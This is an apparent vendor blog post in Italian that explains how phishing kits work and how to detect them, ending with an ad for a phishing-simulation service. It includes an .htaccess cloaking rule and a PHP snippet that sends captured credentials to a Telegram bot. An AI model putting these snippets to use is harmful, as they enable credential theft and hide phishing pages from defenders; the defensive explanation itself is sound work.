Anatomia di un kit di phishing moderno

Un «kit di phishing» è il codice impacchettato e riutilizzabile che gli aggressori distribuiscono per clonare una pagina di login, raccogliere credenziali ed esfiltrarle. Capire come sono costruiti questi kit — e come si nascondono — rende molto più facile individuare le campagne per tempo e costruire simulazioni difensive convincenti.

Cosa contiene un kit

Un kit tipico è un archivio ZIP depositato su un host compromesso o su hosting economico. La sua struttura è notevolmente costante:

kit/
├── index.php            # la landing page clonata
├── login.php            # gestore del form: cattura e inoltra le credenziali
├── assets/              # copie fedeli di CSS, JS, loghi, font
├── config.php           # destinazione di esfiltrazione (e-mail, bot Telegram, URL remoto)
├── antibots.php         # liste di blocco per crawler, sandbox, ricercatori
└── .htaccess            # rewrite, filtri geo/IP, protezione hotlink

I kit moderni sono venduti sempre più «come servizio» (PhaaS — Phishing-as-a-Service), completi di dashboard in abbonamento, aggiornamenti e supporto.

Il clone

La landing page è di solito una copia byte per byte di una schermata di login reale, catturata con un site ripper o un browser headless. Due indizi sono comuni:

• URL assolute delle risorse che puntano ancora al CDN legittimo (così la pagina carica i loghi veri mentre il form invia all’aggressore).
• Un <form> il cui action punta a un gestore PHP locale invece dell’endpoint reale del marchio.

I kit avanzati fanno da proxy al sito reale in tempo reale (un impianto adversary-in-the-middle con strumenti come Evilginx), inoltrando ciò che la vittima digita al server autentico e rubando il cookie di sessione risultante — cosa che sconfigge la maggior parte della MFA.

Strato anti-analisi

Il componente antibots è ciò che tiene in vita un kit. Filtra i visitatori prima di servire la pagina di phishing:

• Filtraggio per user-agent e ASN — blocca i crawler noti e gli intervalli IP di Google, Microsoft, fornitori di sicurezza e sandbox in cloud.
• Controlli di referer e geo — serve la pagina solo a bersagli del Paese atteso, reindirizzando tutti gli altri al sito legittimo.
• Rate limiting e link monouso — un token nell’URL che si brucia dopo una singola visita, così un campione inoltrato mostra un innocuo 404.

# estratto di .htaccess
RewriteCond %{HTTP_USER_AGENT} (googlebot|bingbot|curl|python) [NC]
RewriteRule .* https://real-brand.example/ [R=302,L]

Ecco perché un URL che a un analista SOC «sembra morto» era pienamente attivo per la vittima pochi minuti prima.

Cattura ed esfiltrazione delle credenziali

Il gestore valida quel tanto che basta per sembrare reale, poi spedisce i dati. Canali di esfiltrazione, in ordine approssimativo di popolarità:

• SMTP / mail() verso una casella scritta nel codice.
• API dei bot Telegram — una chiamata sendMessage a un token di bot, economica e resiliente.
• POST a un URL di C2 o a un webhook Discord.
• File di log locale che l’operatore raccoglie in seguito.

$msg = "u={$_POST['email']}&p={$_POST['pass']}&ip={$_SERVER['REMOTE_ADDR']}";
file_get_contents("https://api.telegram.org/bot$TOKEN/sendMessage?chat_id=$ID&text=".urlencode($msg));
header("Location: https://real-brand.example/error");

Notate il redirect finale: dopo il «login fallito», la vittima atterra sul sito reale, pensa a un errore di battitura, accede con successo e non sospetta nulla.

Hosting e distribuzione

I kit prediligono infrastruttura usa e getta: siti WordPress compromessi, redirect aperti su domini fidati, domini simili appena registrati e, sempre più, servizi legittimi (Cloudflare Workers, IPFS, SharePoint, Google Docs) per prenderne in prestito la reputazione. La distribuzione abbina il kit a un’esca — una fattura, una «riverifica» MFA, una notifica di documento condiviso.

Rilevamento difensivo

Segnali che vale la pena cercare:

• Domini appena registrati simili al vostro marchio (monitorate i log CT e i typosquat).
• Hashing di favicon e DOM — i kit riutilizzano le risorse esatte del marchio clonato.
• Chiamate uscenti a Telegram / webhook da host web che non hanno motivo di farle.
• Invio di credenziali a origini inattese nella telemetria del browser.
• Report aggregati DMARC che svelano tentativi di spoofing contro il vostro dominio.

La verità scomoda: un kit AiTM ben costruito sconfigge la MFA via SMS e via app rubando il token di sessione. I metodi resistenti al phishing — FIDO2 / passkey — sono la soluzione duratura.

Come aiuta GottaPhish

I kit di phishing moderni trasformano in arma cloni fedelissimi e il furto di sessione AiTM, che sconfiggono perfino la MFA via SMS e via app. GottaPhish e il suo team di esperti vi aiutano ad affrontare proprio questa minaccia: simulazioni sicure e pienamente verificate che rispecchiano kit reali — link tokenizzati, flussi di cattura credenziali, scenari AiTM — con cruscotti che mostrano quali esche vanno a segno e dove la MFA regge. I nostri esperti seguono l’avvio, disegnano scenari che riproducono l’attuale mestiere del PhaaS e aiutano a interpretare i risultati come formazione mirata e come segnali concreti di detection engineering per il vostro SOC.